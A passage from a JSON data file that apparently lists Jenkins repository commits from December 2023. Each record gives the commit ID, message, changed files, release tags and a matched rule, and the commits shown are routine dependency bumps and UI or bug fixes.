"https://github.com/jenkinsci/jenkins", - "timestamp": 1703809305, - "hunks": 4, - "message": "Update dependency sass-loader to v13.3.3 (#8808) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8808": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8808", - "relevance": 2 - } - ] - }, - { - "commit_id": "5ab5ad07e9847ec89bc708fff64cb6391144268f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703527454, - "hunks": 1, - "message": "Bump io.jenkins.plugins:plugin-util-api from 3.6.0 to 3.8.0 (#8801) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8801": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8801", - "relevance": 2 - } - ] - }, - { - "commit_id": "48da635be22e4e01d71d62a957f3b4c0803a64de", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703514113, - "hunks": 3, - "message": "[JENKINS-71965] fix timezone in build history (#8800) * [JENKINS-71965] fix timezone in build history the timezone shown was always the daylight saving time when the users selected timezone has daylight saving. The change will now consider the actual timestamp of the build to determine if it was in daylight saving time to properly calculate the timezone to show. * make locale aware", - "changed_files": [ - "core/src/main/java/hudson/Functions.java", - "core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8800": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8800", - "relevance": 2 - } - ] - }, - { - "commit_id": "df03159afe15788eb74bced96ce7b44dfc70788c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703375389, - "hunks": 7, - "message": "Restore JCasC compatibility for `JNLPLauncher.tunnel` (#8793) * Restore JCasC compatibility for `JNLPLauncher.tunnel` * Also removing `@Deprecated` on fields & getters", - "changed_files": [ - "core/src/main/java/hudson/slaves/JNLPLauncher.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8793": "[JENKINS-73011] Round-trip JNLPLauncher.tunnel to null not \"\" #9170" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8793", - "relevance": 2 - } - ] - }, - { - "commit_id": "400d5e4ce4440e159436828d7fe45dd51269592a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703278251, - "hunks": 10, - "message": "Remove last usages of .bigtable (#8797)", - "changed_files": [ - "core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index.jelly", - "core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8797": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8797", - "relevance": 2 - } - ] - }, - { - "commit_id": "43ecf083657d0a8fc85a14f85fc70a4555eb9277", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703197374, - "hunks": 6, - "message": "Update dependency eslint to v8.56.0 (#8789) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8789": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8789", - "relevance": 2 - } - ] - }, - { - "commit_id": "8115f23fffac6ac4beda0b58572421b6485c7725", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703197311, - "hunks": 1, - "message": "Bump com.google.guava:guava from 32.1.3-jre to 33.0.0-jre (#8792) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8792": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8792", - "relevance": 2 - } - ] - }, - { - "commit_id": "7018b14cc3f23c9415f1397ea6da22a7be280255", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703197236, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:matrix-project from 818.v7eb_e657db_924 to 822.v01b_8c85d16d2 (#8796) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8796": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8796", - "relevance": 2 - } - ] - }, - { - "commit_id": "01c42a3dca39592e20f728ea8f19c67484004d07", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703108722, - "hunks": 7, - "message": "Update the appearance of the stop button (#8780) * Init * Fixes * Update executors.jelly * Update _buttons.scss * Fix i18n * Tidy up * Fix test * Temporary fast build CI build is too unreliable and I just want an incrementals... * Revert \"Temporary fast build\" This reverts commit 28df8398f3e1a0a82adae7db692b8946a2e281b7. --------- Co-authored-by: Tim Jacomb Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly", - "core/src/main/resources/lib/hudson/buildCaption.jelly", - "core/src/main/resources/lib/hudson/buildCaption.properties", - "core/src/main/resources/lib/hudson/executors.properties", - "core/src/main/resources/lib/layout/stopButton.jelly", - "war/src/main/scss/components/_buttons.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8780": "test stop button jenkinsci/acceptance-test-harness#1447" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8780", - "relevance": 2 - } - ] - }, - { - "commit_id": "3a1ac2cb44fd806ab92a01f6674fbe46e24d4a0c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703108691, - "hunks": 7, - "message": "Use Jenkins modal for 'Apply' button failures (#8394) * Init * Linting * Test fixes * Switch to dialog for simple error case --------- Co-authored-by: Tim Jacomb ", - "changed_files": [ - "core/src/main/resources/jenkins/model/Jenkins/oops.properties", - "core/src/main/resources/lib/form/apply/apply.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8394": "Test core/8394 jenkinsci/acceptance-test-harness#1338 yui-panels are not themeable jenkinsci/dark-theme-plugin#142 Forward compatibility for use Jenkins modal for 'Apply' button failures jenkinsci/acceptance-test-harness#1446" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8394", - "relevance": 2 - } - ] - }, - { - "commit_id": "cf81b9cf935896615ff244f6d349a244f875dbff", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702971523, - "hunks": 11, - "message": "Restyle widget panes (#8761) * Init * Update _style.scss * Remove more bold weights * Lower weight * Tweak widths * Fix spacing --------- Co-authored-by: Alexander Brandes Co-authored-by: Tim Jacomb ", - "changed_files": [ - "war/src/main/scss/abstracts/_theme.scss", - "war/src/main/scss/base/_style.scss", - "war/src/main/scss/components/_panes-and-bigtable.scss", - "war/src/main/scss/components/_side-panel-widgets.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8761": "Update the appearance of the stop button #8780" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8761", - "relevance": 2 - } - ] - }, - { - "commit_id": "7a2e389f0d8d1e0f2b894f5fdfba1568bc153305", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702838935, - "hunks": 1, - "message": "Update jenkins/ath Docker tag to v5770 (#8786) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "ath.sh" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8786": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8786", - "relevance": 2 - } - ] - }, - { - "commit_id": "3f1880179c7476e23a9d6dd9c8ad8f8ef336cae6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702716457, - "hunks": 7, - "message": "EOL `Global-Mask-Classes` (#8785)", - "changed_files": [ - "core/src/main/java/hudson/ClassicPluginStrategy.java", - "core/src/main/java/hudson/util/MaskingClassLoader.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8785": "Remove reference to globalMaskClasses jenkins-infra/jenkins.io#6956 Remove globalMaskClasses jenkinsci/maven-hpi-plugin#563" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8785", - "relevance": 2 - } - ] - }, - { - "commit_id": "c4b9e81b609bf88f7fe051215ffed15d0a6a7e27", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702670462, - "hunks": 39, - "message": "Update babel monorepo to v7.23.6 (#8782) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8782": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8782", - "relevance": 2 - } - ] - }, - { - "commit_id": "2cdf80166ed41223fcf3b9a8b29fde9d31cd983f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702670440, - "hunks": 1, - "message": "Bump actions/upload-artifact from 3 to 4 (#8784) Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3 to 4. - [Release notes](https://github.com/actions/upload-artifact/releases) - [Commits](https://github.com/actions/upload-artifact/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/upload-artifact dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - ".github/workflows/changelog.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8784": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - 